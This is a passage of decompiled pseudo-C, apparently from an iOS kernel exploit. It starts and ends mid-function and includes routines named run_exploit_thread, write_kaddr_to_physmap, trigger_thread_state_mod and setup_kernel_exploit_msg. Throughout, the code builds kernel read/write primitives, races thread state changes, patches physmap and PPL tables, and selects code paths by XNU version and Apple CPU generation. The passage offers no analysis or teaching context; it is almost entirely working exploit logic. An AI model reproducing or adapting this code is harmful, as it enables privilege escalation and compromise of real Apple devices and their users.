    v29 = get_task_kobject_addr_from_field32(*(uint64_t *)(a1 + 8), v28);
    if ( !v107 )
    {
      v107 = 0;
      for ( i = 252; i < 0x2FC; i += 4LL )
      {
        v31 = kread_u32_value(*v2, v29 + i + 4);
        if ( v31 == policy_info[0] )
        {
          v32 = kread_u32_value(*v2, v29 + i + 8);
          if ( v32 == policy_info[1] )
          {
            v33 = kread_u32_value(*v2, v29 + i + 12);
            v34 = v107;
            if ( v33 == policy_info[2] )
              v34 = i + 4;
            v107 = v34;
          }
        }
      }
    }
    v35 = (__int64 *)(v98 + (v23 & 0x3FFF) + v97);
    v36 = v27 + v105;
    flush_cpu_cache(*(uint64_t *)(a1 + 8), v29 + v107 + 4, 1);
    *(__int128 *)policy_info = xmmword_42F10;
    v37 = mach_thread_self();
    thread_policy_set(v37, 2u, policy_info, 4u);
    v38 = *(uint64_t *)(a1 + 8);
    v39 = mach_thread_self();
    v40 = get_task_kobject_addr_from_field32(v38, v39) + v107;
    flush_cpu_cache(*(uint64_t *)(a1 + 8), v40, 0x7FFFFFFF);
    flush_cpu_cache(*(uint64_t *)(a1 + 8), v40 + 4, 0x7FFFFFFF);
    flush_cpu_cache(*(uint64_t *)(a1 + 8), v40 + 8, 0x7FFFFFFF);
    flush_cpu_cache(*(uint64_t *)(a1 + 8), v40 + 12, 256);
    kwrite_u64_to_addr(*(uint64_t *)(a1 + 8), v40 + 16, 0xFFFFFFFFFFFFFFFLL);
    semaphore_signal(v160);
    *(v35 - 1) = 0;
    v41 = *(uint64_t *)(v27 + v105 + 296);
    if ( (*(uint32_t *)(v36 + 272) & 0x1000) != 0 )
      v42 = 4194824;
    else
      v42 = 4194820;
    *(uint32_t *)(a1 + 660) = v42;
    v43 = v42 | 0x3C0;
    *(uint32_t *)(a1 + 656) = v43;
    *(uint32_t *)(v36 + 272) = v43;
    if ( v104 <= 10001 )
      *v35 = 0;
    thread_switch(0, 0, 0);
    v150 = 1;
    while ( v150 == 1 )
    {
      if ( *v35 )
      {
        v44 = *(v35 - 1);
        if ( maybe_sptm_translate_kaddr(*(struct_krwCtx **)(*v2 + 32), *v35) == v44 )
        {
          *v35 = v96;
          goto LABEL_47;
        }
      }
    }
    v44 = 0;
LABEL_47:
    pthread_join(v149, 0);
    if ( v104 <= 10001 )
      *v35 = v44;
    v45 = 0;
    while ( 1 )
    {
      v46 = *(uint32_t *)((char *)v180 + v45);
      if ( v46 )
      {
        if ( get_task_kobject_addr_from_field32(*v2, v46) == v23 )
          break;
      }
      v45 += 4;
      if ( v45 == 256 )
      {
        v47 = v150;
        goto LABEL_55;
      }
    }
    v150 = 3;
    *(uint32_t *)(a1 + 672) = *(uint32_t *)((char *)v180 + v45);
    *(uint32_t *)((char *)v180 + v45) = 0;
    v47 = 3;
LABEL_55:
    v48 = *(uint64_t *)(v36 + 296);
    if ( v41 == v48 || v48 == 0 || v47 != 3 )
    {
      v51 = *(uint32_t *)(a1 + 672);
      if ( v51 + 1 >= 2 )
      {
        thread_terminate(v51);
        *(uint32_t *)(a1 + 672) = 0;
      }
      for ( j = 0; j != 256; j += 4 )
      {
        v53 = *(uint32_t *)((char *)v180 + j);
        if ( v53 )
          thread_terminate(v53);
      }
LABEL_68:
      v54 = 87;
      continue;
    }
    v55 = *(struct_krwCtx **)(*v2 + 32);
    v56 = v55->xnuMajorVersion;
    v57 = krw_ctx_has_flag(v55, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK);
    if ( v56 >= 8796 )
    {
      v58 = 184;
      if ( v57 )
        v58 = 112;
      v59 = v58 + (v23 & 0x3FFF);
      v60 = *(uint32_t *)(v59 + v152);
      if ( (v60 & 0x8000) == 0 )
        *(uint32_t *)(v152 + v59) = v60 | 0x8000;
    }
    v61 = 256;
    do
    {
      thread_create(mach_task_self_, &v154);
      if ( v154 )
      {
        v62 = get_task_kobject_addr_from_field32(*v2, v154);
        if ( validate_kaddr_range(*(uint64_t *)(*v2 + 32), v62) )
        {
          kwrite_u64_to_addr(*v2, v62 + qword_48008 - 8, 0);
          thread_terminate(v154);
          v154 = 0;
        }
      }
      --v61;
    }
    while ( v61 );
    kwrite_u64_to_addr(*v2, v23 + qword_48008 - 8, v100);
    kwrite_u64_to_addr(*v2, qword_48008 + v23, v96);
    v63 = kread_u32_value(*v2, v20);
    if ( (v63 & 0x80000000) != 0 )
    {
      v65 = v109 + 48LL * (v63 & 0x7FFFFFFF);
      v64 = v106;
    }
    else
    {
      v64 = v106;
      v65 = ((unsigned __int64)v63 << v159) + v106;
    }
    while ( kread_u64_value(*v2, v65 + 24) != v108 )
    {
      v66 = kread_u32_value(*v2, v65 + 8);
      if ( (v66 & 0x80000000) != 0 )
        v65 = v109 + 48LL * (v66 & 0x7FFFFFFF);
      else
        v65 = ((unsigned __int64)v66 << v159) + v64;
    }
    if ( v65 >= v109 )
      v67 = ((v65 - v109) / 0x30) | 0x80000000;
    else
      v67 = (v65 - v64) >> v159;
    v99 = v67;
    v144 = 0;
    memset(__dst, 0, 32);
    kread_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    HIDWORD(__dst[0]) = *(uint64_t *)(a1 + 32);
    kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    vm_map(mach_task_self_, &v144, 0x4000u, 0, 1, object_handle, v108, 0, 3, 3, 1u);
    memset(__dst, 0, 32);
    kread_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    HIDWORD(__dst[0]) = v102 >> v159;
    kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    *(uint64_t *)(a1 + 24) = v144 + v105;
    flush_cpu_cache(*(uint64_t *)(a1 + 8), v101, *(uint32_t *)(a1 + 656));
    memcpy(__dst, *(const void **)(a1 + 24), sizeof(__dst));
    v68 = kread_u64_value(*(uint64_t *)(a1 + 8), v95);
    v69 = kread_u64_value(*(uint64_t *)(a1 + 8), v65 + 8);
    v131[0] = _NSConcreteStackBlock;
    v131[1] = 3221225472LL;
    v132 = write_kaddr_to_physmap;
    v133 = &unk_44890;
    v134 = a1;
    v135 = v95;
    v136 = v99;
    v137 = v65;
    v138 = v106;
    v139 = size;
    v142 = v159;
    v143 = object_handle;
    v140 = v69;
    v141 = v68;
    v70 = get_task_kobject_addr_from_field32(*(uint64_t *)(a1 + 8), v162);
    v71 = *(struct_krwCtx **)(*(uint64_t *)(a1 + 8) + 32LL);
    v72 = kread_u64_value(*(uint64_t *)(a1 + 8), qword_48008 + v70);
    *(uint64_t *)(a1 + 360) = krw_xpac_vaddr_2(v71, v72);
    v73 = get_task_kobject_addr_from_field32(*(uint64_t *)(a1 + 8), child_act);
    v74 = *(struct_krwCtx **)(*(uint64_t *)(a1 + 8) + 32LL);
    v75 = kread_u64_value(*(uint64_t *)(a1 + 8), qword_48008 + v73);
    *(uint64_t *)(a1 + 376) = krw_xpac_vaddr_2(v74, v75);
    v76 = send_port_alloc_msg(a1, 0x10000);
    *(uint64_t *)(a1 + 664) = v76;
    v129 = 0u;
    v130 = 0u;
    v127 = 0u;
    v128 = 0u;
    v125 = 0u;
    v126 = 0u;
    v123 = 0u;
    v124 = 0u;
    v121 = 0u;
    v122 = 0u;
    v119 = 0u;
    v120 = 0u;
    v117 = 0u;
    v118 = 0u;
    v115 = 0u;
    v116 = 0u;
    *(__int128 *)v114 = 0u;
    *(__int128 *)(a1 + 624) = 0u;
    *(__int128 *)(a1 + 640) = 0u;
    *(__int128 *)(a1 + 592) = 0u;
    *(__int128 *)(a1 + 608) = 0u;
    *(__int128 *)(a1 + 560) = 0u;
    *(__int128 *)(a1 + 576) = 0u;
    *(__int128 *)(a1 + 528) = 0u;
    *(__int128 *)(a1 + 544) = 0u;
    *(__int128 *)(a1 + 496) = 0u;
    *(__int128 *)(a1 + 512) = 0u;
    *(__int128 *)(a1 + 464) = 0u;
    *(__int128 *)(a1 + 480) = 0u;
    *(__int128 *)(a1 + 432) = 0u;
    *(__int128 *)(a1 + 448) = 0u;
    *(__int128 *)(a1 + 400) = 0u;
    *(__int128 *)(a1 + 416) = 0u;
    *(uint64_t *)(a1 + 384) = *(uint64_t *)(a1 + 360);
    *(uint64_t *)(a1 + 392) = 3233857728LL;
    *(uint64_t *)(a1 + 552) = *(uint64_t *)(a1 + 376);
    *(uint64_t *)(a1 + 640) = qword_48010;
    *(uint64_t *)(a1 + 624) = qword_48030;
    *(uint32_t *)(a1 + 652) = 0;
    *(uint64_t *)(a1 + 632) = v76 + 32512;
    *(uint64_t *)(a1 + 616) = 0xC0C0C0C0C0C0C0C0LL;
    flush_cpu_cache(*(uint64_t *)(a1 + 8), v76, -1061109568);
    v77 = -16384;
    do
    {
      flush_cpu_cache(*(uint64_t *)(a1 + 8), v77 + *(uint64_t *)(a1 + 664) + 0x8000, v77 - 1061076800);
      v77 += 0x4000LL;
    }
    while ( v77 < 0x8000 );
    memcpy(*(void **)(a1 + 24), __dst, 0x130u);
    thread_set_state(*(uint32_t *)(a1 + 672), 6, (thread_state_t)(a1 + 384), 0x44u);
    v78 = kread_u64_value(*(uint64_t *)(a1 + 8), v100 + 296);
    memcpy(*(void **)(a1 + 24), __dst, 0x130u);
    thread_set_state(*(uint32_t *)(a1 + 672), 6, v114, 0x44u);
    kread_u64_value(*(uint64_t *)(a1 + 8), v100 + 296);
    kread_u32_value(*(uint64_t *)(a1 + 8), v101);
    while ( 1 )
    {
      memcpy(*(void **)(a1 + 24), __dst, 0x130u);
      v150 = 0;
      v111[0] = _NSConcreteStackBlock;
      v111[1] = 3221225472LL;
      v111[2] = trigger_thread_state_mod;
      v111[3] = &unk_448B0;
      v112 = v160;
      v113 = semaphore;
      v111[4] = a1;
      v111[5] = &v150;
      pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, v111);
      semaphore_wait(semaphore);
      semaphore_signal(v160);
      *(uint64_t *)(*(uint64_t *)(a1 + 24) + 240LL) = 0;
      v132((__int64)v131, 8u);
      v150 = 1;
      v79 = *(uint64_t *)(a1 + 24);
      v80 = (uint32_t *)(v79 + 272);
      v81 = (uint64_t *)(v79 + 296);
      v82 = (uint64_t *)(v79 + 240);
      v83 = *(uint32_t *)(a1 + 656);
      do
      {
        *v80 = v83;
        *v81 = v48;
      }
      while ( !*v82 );
      v132((__int64)v131, 1u);
      pthread_join(v149, 0);
      v84 = kread_u64_value(*(uint64_t *)(a1 + 8), v100 + 296);
      if ( v84 != v78 && v84 != v48 && v84 != v41 )
      {
        v85 = *(uint64_t *)(a1 + 24);
        if ( *(uint32_t *)(v85 + 272) == *(uint32_t *)(a1 + 656)
          && v84
          && *(uint64_t *)(v85 + 264) == *(uint64_t *)(a1 + 640)
          && *(uint64_t *)(v85 + 248) == *(uint64_t *)(a1 + 624) )
        {
          break;
        }
      }
    }
    memcpy(v94, (const void *)v85, 0x130u);
    kread_u64_value(*(uint64_t *)(a1 + 8), *(uint64_t *)(a1 + 360) + 296LL);
    mach_port_allocate(mach_task_self_, 1u, (mach_port_name_t *)(a1 + 368));
    mach_port_insert_right(mach_task_self_, *(uint32_t *)(a1 + 368), *(uint32_t *)(a1 + 368), 0x14u);
    thread_set_exception_ports(*(uint32_t *)(a1 + 672), 0x1BFEu, *(uint32_t *)(a1 + 368), 2, 17);
    thread_resume(*(uint32_t *)(a1 + 672));
    v86 = (mach_msg_header_t *)calloc(1u, 0x800u);
    *(uint64_t *)(a1 + 16) = v86;
    mach_msg(v86, 2, 0, 0x400u, *(uint32_t *)(a1 + 368), 0, 0);
    kread_u64_value(*(uint64_t *)(a1 + 8), *(uint64_t *)(a1 + 360) + 296LL);
    memcpy(*(void **)(a1 + 24), v94, 0x130u);
    v87 = *(uint64_t *)(a1 + 360) & 0xFFFFFFFFFFFFC000LL;
    v88 = *(uint64_t *)(a1 + 360) & 0x3FFFLL;
    v110 = 0;
    v164 = 0u;
    v165 = 0u;
    kread_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)&v164, 32);
    HIDWORD(v164) = *(uint64_t *)(a1 + 32);
    kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)&v164, 32);
    vm_map(mach_task_self_, &v110, 0x4000u, 0, 1, object_handle, v87, 0, 3, 3, 1u);
    v164 = 0u;
    v165 = 0u;
    kread_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)&v164, 32);
    HIDWORD(v164) = v102 >> v159;
    kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)&v164, 32);
    v89 = v110 + v88;
    *(uint64_t *)(a1 + 352) = v110 + v88;
    *(uint64_t *)(v89 + 264) = 1094795585;
    *(uint32_t *)(v89 + 272) = 0;
    *(uint64_t *)(v89 + 248) = 1111638594;
    *(__int128 *)(v89 + 136) = xmmword_42F20;
    setup_kernel_exploit_msg(a1, *(uint64_t *)(a1 + 360), 1094795585, 0, 1111638594, 1128481603, 1145324612);
    v178 = 0u;
    v177 = 0u;
    v176 = 0u;
    v175 = 0u;
    v174 = 0u;
    v172 = 0u;
    v173 = 0u;
    v170 = 0u;
    v171 = 0u;
    v168 = 0u;
    v169 = 0u;
    v166 = 0u;
    v167 = 0u;
    v164 = 0u;
    v165 = 0u;
    query_phys_page_info(a1, qword_48040, (__int64)&v164);
    kwrite_u64_to_addr(*(uint64_t *)(a1 + 8), *(uint64_t *)(a1 + 664) + 61448LL, *(uint64_t *)(a1 + 664) + 61408LL);
    v90 = *(uint64_t *)(a1 + 8);
    v91 = *(uint64_t *)(a1 + 664) + 61456LL;
    v92 = (*(__int64 (__fastcall **)(__int64))(*(uint64_t *)a1 + 16LL))(a1);
    kwrite_u64_to_addr(v90, v91, v92);
    *(uint32_t *)(a1 + 40) = v162;
    if ( semaphore + 1 >= 2 )
      semaphore_destroy(mach_task_self_, semaphore);
    if ( v160 + 1 >= 2 )
      semaphore_destroy(mach_task_self_, v160);
    v54 = 1;
  }
  while ( v54 == 87 );
  return 0;
}
// 42F00: using guessed type __int128 xmmword_42F00;
// 42F10: using guessed type __int128 xmmword_42F10;
// 42F20: using guessed type __int128 xmmword_42F20;
// 48008: using guessed type __int64 qword_48008;
// 48010: using guessed type __int64 qword_48010;
// 48030: using guessed type __int64 qword_48030;
// 48040: using guessed type __int64 qword_48040;

//----- (00000000000125E4) ----------------------------------------------------
__int64 __fastcall run_exploit_thread(__int64 a1)
{
  __int64 i; // x20
  __int64 result; // x0
  uint64_t *v4; // x9

  __semwait_signal();
  while ( !**(uint64_t **)(a1 + 32) )
    ;
  thread_terminate(**(uint32_t **)(a1 + 40));
  for ( i = 0; i != 256; i += 4 )
    result = thread_create(mach_task_self_, (thread_act_t *)(*(uint64_t *)(a1 + 48) + i));
  v4 = *(uint64_t **)(a1 + 32);
  **(uint32_t **)(a1 + 40) = 0;
  *v4 = 2;
  return result;
}

//----- (0000000000012678) ----------------------------------------------------
__int64 __fastcall write_kaddr_to_physmap(__int64 a1, unsigned __int8 a2)
{
  __int64 v4; // x21
  __int64 v5; // x8
  mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-24h] BYREF

  object_handle = 0;
  v4 = *(uint64_t *)(a1 + 32);
  kwrite_u64_to_addr(*(uint64_t *)(v4 + 8), *(uint64_t *)(a1 + 40), *(uint64_t *)(a1 + 48) | (*(uint64_t *)(a1 + 48) << 32));
  v5 = (*(uint64_t *)(a1 + 40) - *(uint64_t *)(a1 + 64)) >> *(uint32_t *)(a1 + 96);
  kwrite_u64_to_addr(*(uint64_t *)(v4 + 8), *(uint64_t *)(a1 + 56) + 8LL, v5 | (v5 << 32));
  mach_make_memory_entry(
    mach_task_self_,
    (vm_size_t *)(a1 + 72),
    0,
    (a2 << 24) | 0x10003,
    &object_handle,
    *(uint32_t *)(a1 + 100));
  kwrite_u64_to_addr(*(uint64_t *)(v4 + 8), *(uint64_t *)(a1 + 56) + 8LL, *(uint64_t *)(a1 + 80));
  kwrite_u64_to_addr(*(uint64_t *)(v4 + 8), *(uint64_t *)(a1 + 40), *(uint64_t *)(a1 + 88));
  return mach_port_destroy(mach_task_self_, object_handle);
}

//----- (0000000000012754) ----------------------------------------------------
__int64 __fastcall trigger_thread_state_mod(__int64 a1)
{
  __int64 v2; // x20
  thread_act_t v3; // w0
  __int64 vars8; // [xsp+18h] [xbp+8h]

  v2 = *(uint64_t *)(a1 + 32);
  __semwait_signal();
  while ( !**(uint64_t **)(a1 + 40) )
    ;
  v3 = *(uint32_t *)(v2 + 672);
  return thread_set_state(v3, 6, (thread_state_t)(v2 + 384), 0x44u);
}
// 127B0: variable 'vars8' is possibly undefined

//----- (00000000000127C0) ----------------------------------------------------
__int64 __fastcall get_ppnum_via_kread(__int64 a1)
{
  __int64 v2; // x0
  struct_krwCtx *v3; // x20
  __int64 v4; // x0
  unsigned __int64 v5; // x0
  __int64 v6; // x22
  __int64 v7; // x24
  vm_address_t v8; // x20
  __int64 v9; // x21
  __int64 result; // x0
  int v11; // w23
  __int64 v12; // x24
  __int128 v13; // [xsp+0h] [xbp-70h] BYREF
  __int128 v14; // [xsp+10h] [xbp-60h]

  v2 = *(uint64_t *)(a1 + 8);
  v3 = *(struct_krwCtx **)(v2 + 32);
  v4 = kread_u64_value(v2, *(uint64_t *)(v2 + 16) + 40LL);
  v5 = krw_xpac_vaddr_2(v3, v4);
  v6 = kread_u64_value(*(uint64_t *)(a1 + 8), v5 + 24);
  while ( 1 )
  {
    v7 = v6;
    v8 = kread_u64_value(*(uint64_t *)(a1 + 8), v6 + 16);
    v9 = kread_u64_value(*(uint64_t *)(a1 + 8), v6 + 24);
    result = kread_u32_value(*(uint64_t *)(a1 + 8), v6 + 72);
    if ( v8 == 0x1000000000LL )
      break;
    v11 = result;
    v6 = kread_u64_value(*(uint64_t *)(a1 + 8), v6 + 8);
    if ( v11 < 0 )
    {
      v13 = 0u;
      v14 = 0u;
      v12 = v7 + 48;
      kread_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
      HIDWORD(v13) = *(uint64_t *)(a1 + 32);
      kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
      v13 = 0u;
      v14 = 0u;
      kread_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
      DWORD2(v14) = v11 & 0x7FFFFFFF;
      kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v12, (__int64)&v13, 32);
      vm_deallocate(mach_task_self_, v8, v9 - v8);
    }
  }
  return result;
}

//----- (0000000000012954) ----------------------------------------------------
__int64 __fastcall compare_cfdict_entries(const void *a1, const void *a2)
{
  __int64 v2; // x20
  CFTypeID v5; // x22
  CFTypeID v6; // x22
  void (__cdecl *v7)(const void *, const void *, void *); // x0
  unsigned int v9; // [xsp+0h] [xbp-30h] BYREF
  const void *v10; // [xsp+8h] [xbp-28h]

  v2 = 708609;
  if ( a1 )
  {
    v5 = CFGetTypeID(a1);
    if ( v5 == CFDictionaryGetTypeID() )
    {
      if ( a2 )
      {
        v6 = CFGetTypeID(a2);
        if ( v6 == CFDictionaryGetTypeID() )
        {
          v9 = 0;
          v10 = a1;
          v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(iterate_cftype_values);
          CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9);
          return v9;
        }
      }
    }
  }
  return v2;
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (00000000000129F8) ----------------------------------------------------
void __fastcall iterate_cftype_values(const void *a1, CFTypeRef cf, __int64 a3)
{
  CFTypeID v6; // x22
  CFTypeID v7; // x22
  int v8; // w23
  void *v9; // x21
  CFTypeID v10; // x22
  CFTypeID v11; // x22
  CFTypeID v12; // x22
  CFIndex Count; // x22
  void (__cdecl *v14)(const void *, void *); // x0
  CFIndex v15; // x21
  void (__cdecl *v16)(const void *, void *); // x0
  int v17; // w8
  void *value; // [xsp+8h] [xbp-48h] BYREF
  int context; // [xsp+10h] [xbp-40h] BYREF
  void *v20; // [xsp+18h] [xbp-38h]
  CFRange v21; // 0:x1.16
  CFRange v22; // 0:x1.16

  if ( !a3 || *(uint32_t *)a3 )
    return;
  if ( !a1 || !cf )
  {
    v17 = 708609;
LABEL_22:
    *(uint32_t *)a3 = v17;
    return;
  }
  v6 = CFGetTypeID(cf);
  if ( CFStringGetTypeID() != v6 && CFArrayGetTypeID() != v6 && CFBooleanGetTypeID() != v6 && CFNumberGetTypeID() != v6 )
    goto LABEL_21;
  value = 0;
  if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), a1, (const void **)&value) )
    goto LABEL_19;
  v7 = CFGetTypeID(value);
  if ( CFGetTypeID(cf) != v7 )
  {
LABEL_21:
    v17 = 708628;
    goto LABEL_22;
  }
  if ( CFArrayGetTypeID() == v7 )
  {
    v8 = 708609;
    v9 = value;
    if ( value )
    {
      v10 = CFGetTypeID(value);
      if ( v10 == CFArrayGetTypeID() )
      {
        v11 = CFGetTypeID(cf);
        if ( v11 == CFArrayGetTypeID() )
        {
          v12 = CFGetTypeID(cf);
          if ( v12 == CFArrayGetTypeID() )
          {
            LOBYTE(context) = 1;
            Count = CFArrayGetCount((CFArrayRef)cf);
            v14 = (void (__cdecl *)(const void *, void *))nullsub_1(check_cfstring_type);
            v21.location = 0;
            v21.length = Count;
            CFArrayApplyFunction((CFArrayRef)cf, v21, v14, &context);
            if ( (uint8_t)context )
            {
              context = 0;
              v20 = v9;
              v15 = CFArrayGetCount((CFArrayRef)cf);
              v16 = (void (__cdecl *)(const void *, void *))nullsub_1(cfarray_add_unique);
              v22.location = 0;
              v22.length = v15;
              CFArrayApplyFunction((CFArrayRef)cf, v22, v16, &context);
              v8 = context;
            }
            else
            {
              v8 = 708628;
            }
          }
        }
      }
    }
    *(uint32_t *)a3 = v8;
    return;
  }
LABEL_19:
  if ( !*(uint32_t *)a3 )
    CFDictionarySetValue(*(CFMutableDictionaryRef *)(a3 + 8), a1, cf);
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000012BF4) ----------------------------------------------------
__int64 __fastcall merge_cfdict_entries(const void *a1, const void *a2)
{
  __int64 v2; // x20
  CFTypeID v5; // x22
  CFTypeID v6; // x22
  void (__cdecl *v7)(const void *, const void *, void *); // x0
  unsigned int v9; // [xsp+0h] [xbp-30h] BYREF
  const void *v10; // [xsp+8h] [xbp-28h]

  v2 = 708609;
  if ( a1 )
  {
    v5 = CFGetTypeID(a1);
    if ( v5 == CFDictionaryGetTypeID() )
    {
      if ( a2 )
      {
        v6 = CFGetTypeID(a2);
        if ( v6 == CFDictionaryGetTypeID() )
        {
          v9 = 0;
          v10 = a1;
          v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(apply_cfdict_update);
          CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9);
          return v9;
        }
      }
    }
  }
  return v2;
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000012C98) ----------------------------------------------------
void __fastcall apply_cfdict_update(void *key, const CFArrayRef *a2, __int64 a3)
{
  CFTypeID v5; // x21
  CFIndex Count; // x21
  void (__cdecl *v7)(const void *, void *); // x0
  int v8; // w8
  int context; // [xsp+8h] [xbp-38h] BYREF
  void *v10; // [xsp+10h] [xbp-30h]
  void *value; // [xsp+18h] [xbp-28h] BYREF
  CFRange v12; // 0:x1.16

  if ( a3 && !*(uint32_t *)a3 )
  {
    if ( key && a2 )
    {
      value = 0;
      if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), key, (const void **)&value) )
      {
        v8 = 708625;
        goto LABEL_14;
      }
      v5 = CFGetTypeID(value);
      if ( CFGetTypeID(a2) == v5 )
      {
        if ( CFArrayGetTypeID() == v5 )
        {
          context = 0;
          v10 = value;
          Count = CFArrayGetCount(a2);
          v7 = (void (__cdecl *)(const void *, void *))nullsub_1(cfarray_contains_check);
          v12.location = 0;
          v12.length = Count;
          CFArrayApplyFunction(a2, v12, v7, &context);
          v8 = context;
LABEL_14:
          *(uint32_t *)a3 = v8;
          return;
        }
        if ( CFEqual(a2, value) )
        {
          *(uint32_t *)a3 = 0;
          return;
        }
      }
      v8 = 708628;
      goto LABEL_14;
    }
    v8 = 708609;
    goto LABEL_14;
  }
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000012DB0) ----------------------------------------------------
void __fastcall cfarray_add_unique(const void *a1, __int64 a2)
{
  const CFArrayRef *v4; // x21
  CFArrayRef *v5; // x0
  __int64 vars8; // [xsp+28h] [xbp+8h]
  CFRange v7; // 0:x1.16

  if ( a2 && !*(uint32_t *)a2 )
  {
    if ( a1 )
    {
      v4 = *(const CFArrayRef **)(a2 + 8);
      v7.length = CFArrayGetCount(v4);
      v7.location = 0;
      if ( !CFArrayContainsValue(v4, v7, a1) )
      {
        v5 = *(CFArrayRef **)(a2 + 8);
        CFArrayAppendValue(v5, a1);
      }
    }
    else
    {
      *(uint32_t *)a2 = 708609;
    }
  }
}
// 12E28: variable 'vars8' is possibly undefined

//----- (0000000000012E48) ----------------------------------------------------
const void *__fastcall check_cfstring_type(const void *result, uint8_t *a2)
{
  const void *v3; // x20

  if ( a2 )
  {
    if ( !result || (v3 = (const void *)CFGetTypeID(result), result = (const void *)CFStringGetTypeID(), v3 != result) )
      *a2 = 0;
  }
  return result;
}

//----- (0000000000012E88) ----------------------------------------------------
const void *__fastcall cfarray_contains_check(const void *result, __int64 a2)
{
  const void *v3; // x20
  int v4; // w22
  const CFArrayRef *v5; // x21
  CFRange v6; // 0:x1.16

  if ( a2 && !*(uint32_t *)a2 )
  {
    v3 = result;
    v4 = 708609;
    if ( result )
    {
      v5 = *(const CFArrayRef **)(a2 + 8);
      v6.length = CFArrayGetCount(v5);
      v6.location = 0;
      result = (const void *)CFArrayContainsValue(v5, v6, v3);
      if ( (uint32_t)result )
        return result;
      v4 = 708625;
    }
    *(uint32_t *)a2 = v4;
  }
  return result;
}

//----- (0000000000012EF8) ----------------------------------------------------
void __fastcall necp_dispatch_by_version(struct_krwCtx *a1)
{
  unsigned __int64 xnuVersionPacked; // x8
  bool a13PlusUsesNewNecpPath; // w0
  bool a15PlusUsesNewNecpPath; // w0

  xnuVersionPacked = a1->xnuVersionPacked;
  a13PlusUsesNewNecpPath = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13_A14_A15_A16_A17_MASK)
                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023)
                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 142, 0, 1023, 1023) && a1->xnuMajorVersion < 10002));
  a15PlusUsesNewNecpPath = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK)
                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023)
                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) && a1->xnuMajorVersion <= 10001));
  if ( a13PlusUsesNewNecpPath || a15PlusUsesNewNecpPath )
  {
    necp_send_msg_2((__int64)a1);
  }
  else
  {
    nullsub_2(a1);
  }
}
// 22D68: using guessed type __int64 __fastcall nullsub_2(uint64_t);

//----- (000000000001308C) ----------------------------------------------------
bool __fastcall check_necp_flag(struct_krwCtx *a1)
{
  return krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK);
}

//----- (00000000000130B4) ----------------------------------------------------
bool __fastcall necp_kread_region(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4)
{
    __int64 v11; // x8
    unsigned __int64 v12; // x23
    unsigned __int64 v13; // x26
    __int64 v14; // x28
    int v15; // w0
    bool v16; // cc
    unsigned __int64 v17; // x8
    unsigned __int64 v18; // x9
    unsigned __int64 v19; // x10
    int v20; // w9
    __int64 v21; // x0
    __int64 v22; // [xsp+0h] [xbp-70h] BYREF
    uint32_t v230, v231; // [xsp+8h] [xbp-68h] BYREF
    unsigned __int64 v24; // [xsp+10h] [xbp-60h] BYREF
    __int64 v25; // [xsp+18h] [xbp-58h] BYREF

    v22 = 0;
    v230=0; v231=0;
    v24 = 0;
    v25 = 0;
    if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK)) return 0;
    if (!a2 || !a3 || !a4 ) return 0;
    if ( *(uint64_t *)(a1 + 344) >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0) ) {
        return !!ppl_physmap_table_patch_write((struct_krwCtx *)a1, a2, a3, a4, 0);
    }
    if ( get_kwrite_fn(a1, (__int64 *)&v24, &v231) )
    {
        if ( v24 <= a2 )
        {
            if ( a2 + a4 <= v24 + v231 )
            {
                if ( (unsigned int)lookup_physmap_page_slot((struct_krwCtx *)a1, 3u, &v25) )
                {
                    if ( v25 )
                        goto LABEL_13;
                    v16 = (unsigned int)v231 > 0x8C000
                    || (unsigned __int64)(*(uint64_t *)(a1 + 344) - XNU_VERSION_PACKED(6153, 40, 121, 0, 0)) > 0xF788FFFFFLL;
                    v17 = v231 + 8;
                    if ( !v16 )
                        v17 = 573448;
                    v18 = *(unsigned int *)(a1 + 384);
                    v19 = v17 % v18;
                    v20 = v18 - v17 % v18;
                    if ( !v19 )
                        v20 = 0;
                    v230 = v17 + v20;
                    v21 = alloc_physmap_scratch_page(a1, &v230);
                    v25 = v21;
                    if ( v21 )
                    {
                        if ( (unsigned int)cache_physmap_page_slot(a1, 3u, v21) )
                        {
                        LABEL_13:
                            v11 = *(uint64_t *)(a1 + 392);
                            v12 = a2 & ~v11;
